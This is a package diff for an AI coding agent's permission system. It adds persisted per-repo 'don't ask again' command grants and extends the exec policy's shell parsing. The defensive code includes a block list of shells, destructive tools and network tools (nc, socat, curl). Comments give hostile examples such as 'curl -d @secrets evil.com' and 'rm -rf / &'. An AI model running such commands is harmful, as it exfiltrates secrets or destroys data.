@yagni-app/code-staging 0.3.0-staging.1079.1 → 0.3.0-staging.1081.1

package/dist/extension/approvedPrefixes.d.ts

@@ -0,0 +1,92 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { type ExecPolicy } from "./execPolicy.js";
+export interface ApprovedPrefixGrant {
+    /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
+    pattern: string[];
+    /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
+    repoKey: string;
+    /** ISO timestamp of the grant. */
+    addedAt: string;
+    /** The cwd where the grant was made (provenance for a future revoke UI). */
+    cwd: string;
+}
+export interface ApprovedPrefixFile {
+    version: 1;
+    grants: ApprovedPrefixGrant[];
+}
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export declare const BANNED_PREFIXES: Set<string>;
+export declare function derivePrefix(command: string): string[] | null;
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export declare function storagePrefix(command: string): string;
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
+/** Human label for the remember option: "git push …". */
+export declare function describePrefix(pattern: string[]): string;
+export declare function rulesFilePath(homeOverride?: string | null): string;
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export declare function resolveRepoKey(cwd: string): string;
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
+//# sourceMappingURL=approvedPrefixes.d.ts.map

package/dist/extension/approvedPrefixes.js

@@ -0,0 +1,252 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { execFileSync } from "node:child_process";
+import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
+import { dirname, join } from "node:path";
+import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
+import { codeStateHome } from "./stateHome.js";
+// --- Derivation ---
+/** Tools whose second token is a subcommand worth capturing in a prefix. */
+const MULTI_SUBCOMMAND_TOOLS = new Set([
+    "git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
+]);
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export const BANNED_PREFIXES = new Set([
+    "bash", "sh", "zsh", "fish", "dash", "ksh",
+    "python", "python3", "node", "ruby", "perl", "deno", "bun",
+    "sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
+    "rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
+    "curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
+]);
+/** Second tokens must look like plain subcommand words (no URLs, no secrets). */
+const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
+/**
+ * Derive the grantable prefix for a command, or null when the command is not
+ * grantable: multi-segment/compound, carries shell constructs, banned prefix,
+ * or a bare multi-subcommand tool with no subcommand.
+ */
+/**
+ * A command qualifies for grant coverage only when it is one plain command:
+ * no operators, no constructs (checked via the quote-aware tokenizer, so
+ * `git commit -m "a & b"` still qualifies — the & is quoted text).
+ */
+function isSinglePlainCommand(command) {
+    return !shellParse(command).some((t) => typeof t === "object");
+}
+export function derivePrefix(command) {
+    // Grants only ever cover single plain commands. Any operator or construct
+    // (|, &&, ;, newline, redirect, substitution, &) disqualifies.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    const first = tokens[0];
+    // Path-prefixed or escaped command words are never grantable.
+    if (first.includes("/") || first.startsWith("\\"))
+        return null;
+    if (BANNED_PREFIXES.has(first))
+        return null;
+    if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
+        const second = tokens[1];
+        if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
+            return null;
+        return [first, second];
+    }
+    return [first];
+}
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export function storagePrefix(command) {
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return "(empty)";
+    const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
+    const slash = rawFirst.lastIndexOf("/");
+    const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
+    const second = tokens[1];
+    if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
+        return `${first} ${second}`;
+    }
+    return first;
+}
+// --- Matching ---
+/**
+ * git-push refspec shapes that encode force/delete positionally: a leading
+ * `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
+ * remote branch). Confirmed unfencable via flag lists — so any such arg
+ * knocks the command out of grant coverage entirely.
+ */
+function hasGitPushRefspecDanger(tokens) {
+    return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
+}
+/**
+ * Flags that must never ride a grant even though the exec policy leaves them
+ * in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
+ * standing grant for it would be a silent force-push license).
+ */
+function hasGrantFencedFlag(pattern, tokens) {
+    if (pattern[0] === "git" && pattern[1] === "push") {
+        return tokens.some((t) => t.startsWith("--force") || t === "-f");
+    }
+    return false;
+}
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export function matchesGrant(command, grants, repoKey) {
+    // Same single-plain-command restriction as derivation.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    for (const grant of grants) {
+        if (grant.repoKey !== repoKey)
+            continue;
+        if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
+            continue;
+        if (!grant.pattern.every((p, i) => tokens[i] === p))
+            continue;
+        if (hasGrantFencedFlag(grant.pattern, tokens))
+            continue;
+        if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
+            continue;
+        return grant;
+    }
+    return null;
+}
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export function validateGrant(command, policy, repoKey) {
+    const pattern = derivePrefix(command);
+    if (!pattern)
+        return null;
+    if (classifyCommand(command, policy).decision !== "prompt")
+        return null;
+    const candidate = {
+        pattern,
+        repoKey,
+        addedAt: new Date().toISOString(),
+        cwd: "",
+    };
+    return matchesGrant(command, [candidate], repoKey) ? candidate : null;
+}
+/** Human label for the remember option: "git push …". */
+export function describePrefix(pattern) {
+    return `${pattern.join(" ")} …`;
+}
+// --- I/O half ---
+export function rulesFilePath(homeOverride = null) {
+    return join(codeStateHome(homeOverride), "rules.json");
+}
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export function resolveRepoKey(cwd) {
+    try {
+        const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
+            encoding: "utf8",
+            stdio: ["ignore", "pipe", "ignore"],
+            timeout: 3_000,
+        }).trim();
+        if (url.length > 0)
+            return url;
+    }
+    catch {
+        // fall through to realpath
+    }
+    try {
+        return realpathSync(cwd);
+    }
+    catch {
+        return cwd;
+    }
+}
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export function loadGrants(homeOverride = null) {
+    try {
+        const path = rulesFilePath(homeOverride);
+        if (!existsSync(path))
+            return [];
+        const parsed = JSON.parse(readFileSync(path, "utf8"));
+        if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
+            return [];
+        return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
+            g.pattern.length > 0 &&
+            g.pattern.every((t) => typeof t === "string") &&
+            typeof g.repoKey === "string" &&
+            typeof g.addedAt === "string" &&
+            typeof g.cwd === "string");
+    }
+    catch {
+        return [];
+    }
+}
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export function appendGrant(grant, homeOverride = null) {
+    const current = loadGrants(homeOverride);
+    const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
+    const merged = isDuplicate ? current : [...current, grant];
+    try {
+        const path = rulesFilePath(homeOverride);
+        mkdirSync(dirname(path), { recursive: true });
+        const file = { version: 1, grants: merged };
+        writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
+    }
+    catch {
+        // Fail-soft: the in-memory grant still applies for this session.
+    }
+    return merged;
+}
+//# sourceMappingURL=approvedPrefixes.js.map

package/dist/extension/config.d.ts

@@ -72,6 +72,8 @@ export interface FetchCatalogOptions {
     getToken: () => string | undefined;
     fetchImpl?: typeof fetch;
 }
+/** Guardian storage tier for this workspace (YAG-510). */
+export type GuardianStorageTier = "off" | "hash" | "raw";
 /** The startup catalog response from GET /api/yagni-code/models. */
 export interface CatalogResult {
     models: ModelEntry[];
@@ -81,6 +83,13 @@ export interface CatalogResult {
      * missing field (older backend) reads as enabled.
      */
     guardianEnabled: boolean;
+    /**
+     * Guardian event storage tier (YAG-510). Polarity is deliberately the
+     * OPPOSITE of guardianEnabled: only an explicit "hash" or "raw" turns
+     * storage on — a missing field (older backend) or unknown value reads as
+     * "off" (fail toward not sending).
+     */
+    guardianStorage: GuardianStorageTier;
 }
 /**
  * Fetch the YAGNI model catalog at startup.
@@ -166,11 +175,23 @@ export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
  * sanitizing client-side is what keeps the attribution instead of losing it.
  */
 export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
+/**
+ * Attribution headers for the boot-time /context fetch. Extends
+ * {@link attributionHeaders} (session id + caller) with the surface the
+ * session is painting for (the desktop driver sets YAGNI_SURFACE=desktop;
+ * the terminal CLI sets nothing) and the shipping client version. The server
+ * uses these to emit its "YAGNI Code Session Started" analytics event —
+ * labels only on that side: a missing or malformed value can never fail the
+ * fetch, it just goes uncounted or unversioned.
+ */
+export declare function sessionTelemetryHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
 /** Options for {@link fetchContextBrief}. */
 export interface FetchContextBriefOptions {
     baseUrl: string;
     getToken: () => string | undefined;
     fetchImpl?: typeof fetch;
+    /** Env seam for the telemetry headers; defaults to process.env. */
+    env?: NodeJS.ProcessEnv;
 }
 /**
  * Fetch the workspace company brief at startup.

package/dist/extension/config.js

@@ -85,7 +85,13 @@ export async function fetchCatalog(opts) {
         throw new Error(`Failed to fetch YAGNI model catalog (HTTP ${res.status}). Run \`yagni login\` to re-authenticate.`);
     }
     const data = (await res.json());
-    return { models: data.models, guardianEnabled: data.guardianEnabled !== false };
+    return {
+        models: data.models,
+        guardianEnabled: data.guardianEnabled !== false,
+        guardianStorage: data.guardianStorage === "raw" || data.guardianStorage === "hash"
+            ? data.guardianStorage
+            : "off",
+    };
 }
 /** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
 const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;
@@ -171,6 +177,28 @@ export function sanitizeCallerSegment(name, maxLength = 64) {
     const trimmed = cleaned.slice(0, Math.max(0, maxLength));
     return trimmed || "agent";
 }
+/**
+ * Shape-check for a client version label (semver-ish; matches the server's
+ * own allowlist). A value that fails is dropped, never sent raw.
+ */
+const CLIENT_VERSION_RE = /^[0-9a-z][0-9a-z.+-]{0,31}$/i;
+/**
+ * Attribution headers for the boot-time /context fetch. Extends
+ * {@link attributionHeaders} (session id + caller) with the surface the
+ * session is painting for (the desktop driver sets YAGNI_SURFACE=desktop;
+ * the terminal CLI sets nothing) and the shipping client version. The server
+ * uses these to emit its "YAGNI Code Session Started" analytics event —
+ * labels only on that side: a missing or malformed value can never fail the
+ * fetch, it just goes uncounted or unversioned.
+ */
+export function sessionTelemetryHeaders(env = process.env) {
+    const headers = attributionHeaders(env);
+    headers["x-yagni-surface"] = env.YAGNI_SURFACE === "desktop" ? "desktop" : "cli";
+    const version = env.YAGNI_CODE_VERSION ?? "";
+    if (CLIENT_VERSION_RE.test(version))
+        headers["x-yagni-client-version"] = version;
+    return headers;
+}
 /**
  * Fetch the workspace company brief at startup.
  *
@@ -180,7 +208,13 @@ export function sanitizeCallerSegment(name, maxLength = 64) {
  */
 export async function fetchContextBrief(opts) {
     try {
-        const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/context`, { method: "GET", headers: { authorization: `Bearer ${opts.getToken() ?? ""}` } }, { fetchImpl: opts.fetchImpl });
+        const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/context`, {
+            method: "GET",
+            headers: {
+                authorization: `Bearer ${opts.getToken() ?? ""}`,
+                ...sessionTelemetryHeaders(opts.env),
+            },
+        }, { fetchImpl: opts.fetchImpl });
         if (!res.ok)
             return null;
         return (await res.json());

package/dist/extension/execPolicy.d.ts

@@ -1,6 +1,6 @@
 /**
  * Exec policy engine — classifies bash commands via prefix rules + lightweight
- * shell tokenization (YAG-504).
+ * shell tokenization (YAG-504, restructured in YAG-510).
  *
  * Pure: no I/O, no network, no model. Loads at startup and classifies
  * synchronously. The curated default set auto-allows read-only commands
@@ -10,12 +10,29 @@
  *
  * The `prompt` band is what the Guardian arbitrates — see guardian.ts.
  *
+ * Classification composes three signals and takes the STRICTEST:
+ *   1. prefix-rule matching on every segment (newlines, ;, &&, ||, | split);
+ *   2. a construct floor — commands using redirects, substitution, or
+ *      background & can never be auto-allowed (floor: prompt);
+ *   3. dangerScan — a best-effort sweep of command-substitution inner text
+ *      ($(...) and backticks, including inside double quotes) against the
+ *      FORBIDDEN rules only. Danger anywhere upgrades to forbidden; the scan
+ *      can never make anything more permissive.
+ * This is the codex two-parser lesson: fail closed to prove safety, scan
+ * best-effort to prove danger. A forbidden match must win even when the
+ * command also carries constructs (`rm -rf / &` is forbidden, not prompt).
+ *
+ * Command words are matched through a leading-token strip (env assignments,
+ * sudo/env/command wrappers, shell reserved words, a leading backslash) and
+ * basename normalization (/bin/rm → rm) — both applied ASYMMETRICALLY: they
+ * can make a command land on forbidden/prompt rules, but a stripped or
+ * path-prefixed command is never auto-allowed (`sudo ls` and `./ls` stay in
+ * the prompt band; an attacker-named local `./rm` binary must not ride the
+ * allow list, and `/bin/ls` pays the same price by design).
+ *
  * Tokenization is a lightweight inline parser — not shell-quote — because the
  * extension is bundled into @yagni-app/code's dist (a file copy, not a real
  * bundler), and external dependencies aren't resolvable from the bundled path.
- * We only need: split on whitespace (respecting single/double quotes), detect
- * control operators (|, &&, ||, ;), and flag shell constructs ($(...),
- * backticks, redirects) that we can't statically analyze.
  */
 export type TokenEntry = string | {
     op: "pipe" | "and" | "or" | "semi" | "redirect" | "substitution";
@@ -25,14 +42,25 @@ export type TokenEntry = string | {
  *
  * Handles:
  * - Single and double quoted strings (preserves spaces inside)
- * - Control operators: |, &&, ||, ;
- * - Shell constructs we flag as unanalyzable: $(), backticks, >, <
+ * - Control operators: |, &&, ||, ;, and newlines (a newline separates
+ *   commands exactly like `;` — treating it as whitespace let multiline
+ *   commands smuggle anything behind an allow-listed first line)
+ * - `#` comments (start-of-word to end-of-line, outside quotes)
+ * - Shell constructs we flag as unanalyzable: $(), backticks (INCLUDING
+ *   inside double quotes — bash executes those), >, <, background &
  *
- * Does NOT handle: variable expansion, glob patterns, heredocs, nested
- * subshells beyond the first level. Commands using those are classified
- * as "prompt" (let the Guardian review).
+ * Does NOT handle: variable expansion, glob patterns, heredocs beyond the
+ * redirect flag, nested subshells beyond depth tracking. Commands using
+ * those are classified as "prompt" at minimum (construct floor).
  */
 export declare function shellParse(command: string): TokenEntry[];
+/**
+ * Extract the inner text of every command substitution — $(...) and
+ * backticks — respecting single-quote literalness and backslash escapes.
+ * Includes substitutions inside double quotes (bash executes those).
+ * Best-effort, used ONLY by dangerScan to prove danger, never safety.
+ */
+export declare function extractSubstitutions(command: string): string[];
 export type ExecDecision = "allow" | "prompt" | "forbidden";
 export interface PrefixRule {
     /** Ordered tokens; a string[] element means alternatives (any match). */
@@ -47,6 +75,15 @@ export interface PrefixRule {
      * band). Example: sed is read-only except with -i/--in-place.
      */
     unlessTokens?: string[];
+    /**
+     * Position-independent flag requirement: the rule matches only when, in
+     * addition to the pattern prefix, at least one token AFTER the prefix
+     * matches an entry (same "*"-suffix glob convention as unlessTokens).
+     * Used by forbidden rules to catch permuted flags: `git push origin
+     * --force` and `rm x -rf` place the dangerous flag after positional args,
+     * where exact-position patterns never see it.
+     */
+    flagsAnywhere?: string[];
     /** Positive test invocations (validated at load if present). */
     match?: string[][];
     /** Negative test invocations (validated at load if present). */
@@ -69,10 +106,11 @@ export declare function tokenize(command: string): string[];
 /**
  * Classify a full bash command string against the exec policy.
  *
- * Compound commands (pipes, &&, ||, ;) are split into segments and each is
- * classified independently. The strictest decision wins (forbidden > prompt >
- * allow). Commands with shell constructs we can't parse (command substitution,
- * redirects beyond pipe) are classified as prompt. Pipe-to-shell is always
+ * Compound commands (pipes, &&, ||, ;, newlines) are split into segments and
+ * each is classified independently; the strictest decision wins (forbidden >
+ * prompt > allow). Commands with shell constructs (substitution, redirects,
+ * background &) have a floor of `prompt`, and their substitution inner text
+ * is danger-scanned against the forbidden rules. Pipe-to-shell is always
  * forbidden.
  */
 export declare function classifyCommand(command: string, policy: ExecPolicy): ExecClassification;